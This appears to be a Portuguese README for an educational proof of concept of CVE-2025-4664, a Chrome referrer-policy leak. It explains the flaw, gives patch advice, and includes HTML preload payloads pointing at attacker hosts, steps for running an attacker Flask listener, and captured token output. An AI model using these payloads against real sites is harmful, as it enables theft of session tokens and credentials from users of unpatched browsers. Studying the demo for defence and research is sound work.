
Demonstração educacional do CVE-2025-4664, uma vulnerabilidade do Chrome Loader que permite vazamento de dados entre origens por meio de manipulação da política de referenciador (referrer-policy). Inclui uma página HTML da vítima e um servidor Flask do invasor para simulação prática de exploração.
A vulnerabilidade CVE-2025-4664 é uma falha de segurança de alta gravidade identificada no componente Loader do Google Chrome, presente em versões anteriores à 136.0.7103.113. Este problema permite que um atacante remoto filtre dados de origem cruzada através de uma página HTML especialmente projetada, o que pode comprometer informações sensíveis como tokens de sessão ou credenciais de autenticação.
A falha reside em uma implementação inadequada das políticas de segurança no componente Loader do Chrome. Especificamente, o Chrome interpreta a diretiva referrer-policy dentro do cabeçalho HTTP Link em solicitações de subrecursos (como imagens ou scripts), mesmo quando outros navegadores não o fazem. Um atacante pode aproveitar isso configurando uma política menos restritiva, como unsafe-url, o que faz com que o Chrome filtre URLs completas, incluindo parâmetros sensíveis, para domínios controlados pelo atacante.
Esta vulnerabilidade foi explorada ativamente em ambientes reais, o que levou a Agência de Cibersegurança e Segurança de Infraestrutura dos EUA (CISA) a incluí-la em seu Catálogo de Vulnerabilidades Conhecidas e Exploradas (KEV). A CISA estabeleceu o dia 5 de junho de 2025 como prazo para que as agências federais apliquem as correções correspondentes.
O Google lançou atualizações para corrigir esta vulnerabilidade nas seguintes versões:
Recomenda-se fortemente que todos os usuários atualizem seu navegador Chrome para a versão mais recente disponível. Para verificar e aplicar a atualização:
Além disso, usuários de navegadores baseados em Chromium, como Microsoft Edge, Brave, Opera e Vivaldi, devem ficar atentos às atualizações correspondentes, pois podem ser afetados por esta vulnerabilidade.
Manter o navegador atualizado é essencial para se proteger contra ameaças de segurança ativas e salvaguardar as informações pessoais.
A vulnerabilidade CVE-2025-4664 é explorada manipulando a forma como o Google Chrome lida com a política de referência (referrer-policy) ao carregar subrecursos (como imagens, scripts, etc.) de links HTML.
🌐 Criação de um site malicioso:
O atacante cria um site que inclui um link HTML como este em seu cabeçalho HTTP:
<link rel="preload" as="image" href="https://victima.com/imagem.jpg" referrerpolicy="unsafe-url">
🔧 Manipulação do referrer-policy:
Na maioria dos navegadores, esse referrerpolicy na tag <link> não é aplicado para o recurso carregado. No entanto, o Chrome o aplica, o que é o núcleo do problema.
📤 Filtragem do Referer:
Quando o navegador da vítima (Chrome) carrega o recurso de victima.com, ele envia toda a URL do site de origem como cabeçalho Referer, o que pode incluir:
?token=ABC123)?user=admin&password=1234)🎯 Recepção no servidor do atacante:
O atacante pode colocar como destino do recurso uma URL sob seu controle, por exemplo:
<link rel="preload" as="image" href="https://atacante.com/captura.jpg" referrerpolicy="unsafe-url">
Quando a vítima acessa este recurso, o Chrome envia sua URL completa como Referer para o servidor do atacante.
🕵️ Roubo de informação:
O servidor do atacante registra os cabeçalhos HTTP e obtém o conteúdo completo da URL da vítima. Isso pode incluir dados confidenciais, tokens de acesso ou até mesmo URLs de APIs internas.
https://atacante.com/pagina-maliciosa.html
<link rel="preload" as="image" href="https://victima.com/perfil?token=ABC123" referrerpolicy="unsafe-url">
Referer: https://victima.com/perfil?token=ABC123

index.html — Arquivo vítimaEste arquivo simula a vítima do ataque, é uma demo em HTML simplificada para mostrar como a vulnerabilidade CVE-2025-4664 pode ser explorada usando uma tag maliciosa:
<!DOCTYPE html>
<html lang="pt">
<head>
<meta charset="UTF-8">
<title>Demo CVE-2025-4664</title>
<!-- Este recurso aponta para um site da vítima com informação sensível na URL -->
<link rel="preload" as="image"
href="https://victima.com/perfil?token=ABC123"
referrerpolicy="unsafe-url">
</head>
<body>
<h1>Demonstração da vulnerabilidade CVE-2025-4664</h1>
<p>Se você estiver usando uma versão vulnerável do Chrome, o navegador enviará o <strong>Referer completo</strong> para a URL acima.</p>
</body>
</html>
<link> está configurada para pré-carregar uma imagem de victima.com com um token na URL.referrerpolicy="unsafe-url", o Chrome enviará toda a URL da página atual como Referer para o domínio vítima.servidor_atacante.py — Arquivo atacanteCom este script é possível automatizar o ataque para capturar os Referer usando um pequeno servidor em Python. Aqui está um exemplo utilizando Flask para simular o servidor do atacante que recebe os dados:
index.html.servidor_atacante.py.pip install flask
python servidor_atacante.py
<link rel="preload" as="image"
href="http://<seu_IP>:8080/captura.jpg"
referrerpolicy="unsafe-url">
Substitua <seu_IP> pelo IP público ou local do servidor que executa o script.
Abra um terminal (PowerShell ou CMD).
Navegue até a pasta do arquivo:
cd "C:\Users\Sebas\Desktop\servidor_atacante"
python servidor_atacante.py
* Running on http://127.0.0.1:8080
* Running on http://192.168.1.35:8080
Na mesma pasta (C:\Users\Sebas\Desktop\servidor_atacante), crie um arquivo chamado index.html com este conteúdo:
<!DOCTYPE html>
<html lang="pt">
<head>
<meta charset="UTF-8">
<title>Demo CVE-2025-4664</title>
<!-- Simula o ataque -->
<link rel="preload" as="image"
href="http://192.168.1.35:8080/captura.jpg"
referrerpolicy="unsafe-url">
</head>
<body>
<h1>Simulação CVE-2025-4664</h1>
<p>Este HTML tenta filtrar a URL completa (incluindo o token) para o atacante.</p>
</body>
</html>
✅ Importante: Certifique-se de que o IP (192.168.1.35) coincida com o que o Flask exibe como IP local. Se for diferente, altere-o no HTML.
Abra o Chrome.
Na barra de endereços, digite:
file:///C:/[Pasta destino]/servidor_atacante/index.html?token=ABC123
Pressione Enter.
📥 Ver o resultado no servidor No console do Flask você deve ver algo como:
[+] Referer recebido: file:///C:/[Pasta destino]/servidor_atacante/index.html?token=ABC123
[Pasta destino]: Modificar este parâmetro para o local onde temos salvo o arquivo.
🎯 Isso significa que o navegador enviou o Referer completo para o atacante!
Explicação elaborada por Sebastian Peinador para fins didáticos e de pesquisa em cibersegurança ofensiva.
Este material é distribuído sob a licença MIT.
Se for útil, não esqueça de dar ⭐ ao repositório ou compartilhá-lo!